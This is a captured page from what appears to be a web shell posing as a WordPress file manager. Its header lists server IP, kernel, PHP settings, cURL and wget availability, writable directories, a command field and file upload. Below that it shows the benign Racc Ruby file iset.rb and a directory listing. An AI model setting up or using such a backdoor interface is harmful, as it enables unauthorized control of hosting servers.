GRAYBYTE WORDPRESS FILE MANAGER2933

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby32/share/ruby/racc/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby32/share/ruby/racc//iset.rb
#--
#
#
#
# Copyright (c) 1999-2006 Minero Aoki
#
# This program is free software.
# You can distribute/modify this program under the same terms of ruby.
# see the file "COPYING".
#
#++

module Racc

  # An "indexed" set.  All items must respond to :ident.
  class ISet

    def initialize(a = [])
      @set = a
    end

    attr_reader :set

    def add(i)
      @set[i.ident] = i
    end

    def [](key)
      @set[key.ident]
    end

    def []=(key, val)
      @set[key.ident] = val
    end

    alias include? []
    alias key? []

    def update(other)
      s = @set
      o = other.set
      o.each_index do |idx|
        if t = o[idx]
          s[idx] = t
        end
      end
    end

    def update_a(a)
      s = @set
      a.each {|i| s[i.ident] = i }
    end

    def delete(key)
      i = @set[key.ident]
      @set[key.ident] = nil
      i
    end

    def each(&block)
      @set.compact.each(&block)
    end

    def to_a
      @set.compact
    end

    def to_s
      "[#{@set.compact.join(' ')}]"
    end

    alias inspect to_s

    def size
      @set.nitems
    end

    def empty?
      @set.nitems == 0
    end

    def clear
      @set.clear
    end

    def dup
      ISet.new(@set.dup)
    end

  end   # class ISet

end   # module Racc

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 13 2025 08:35:42
root / linksafe
0755
compat.rb
0.525 KB
April 24 2025 07:53:46
root / linksafe
0644
debugflags.rb
1.294 KB
April 24 2025 07:53:46
root / linksafe
0644
exception.rb
0.266 KB
April 24 2025 07:53:46
root / linksafe
0644
grammar.rb
22.178 KB
April 24 2025 07:53:46
root / linksafe
0644
grammarfileparser.rb
14.812 KB
April 24 2025 07:53:46
root / linksafe
0644
info.rb
0.29 KB
April 24 2025 07:53:46
root / linksafe
0644
iset.rb
1.238 KB
April 24 2025 07:53:46
root / linksafe
0644
logfilegenerator.rb
5.044 KB
April 24 2025 07:53:46
root / linksafe
0644
parser-text.rb
17.995 KB
April 24 2025 07:53:46
root / linksafe
0644
parser.rb
17.928 KB
April 24 2025 07:53:46
root / linksafe
0644
parserfilegenerator.rb
10.582 KB
April 24 2025 07:53:46
root / linksafe
0644
sourcetext.rb
0.526 KB
April 24 2025 07:53:46
root / linksafe
0644
state.rb
19.806 KB
April 24 2025 07:53:46
root / linksafe
0644
statetransitiontable.rb
7.829 KB
April 24 2025 07:53:46
root / linksafe
0644
static.rb
0.134 KB
April 24 2025 07:53:46
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF